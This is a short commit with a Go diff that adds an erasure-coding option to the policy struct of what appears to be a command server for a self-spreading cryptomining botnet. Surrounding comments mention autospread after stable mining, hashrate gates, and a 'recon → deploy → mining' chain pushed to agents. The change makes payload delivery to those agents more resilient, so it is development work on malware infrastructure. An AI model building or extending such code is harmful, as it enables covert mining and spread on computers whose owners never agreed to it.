Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/internal/api/server_policy.go

@@ -24,6 +24,8 @@ type ServerPolicy struct {
 	// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
 	HashrateGateSpreadMin int
 	HashrateGateHPS       float64
+	// ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans.
+	ErasureLanesEnabled bool
 }
 
 // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.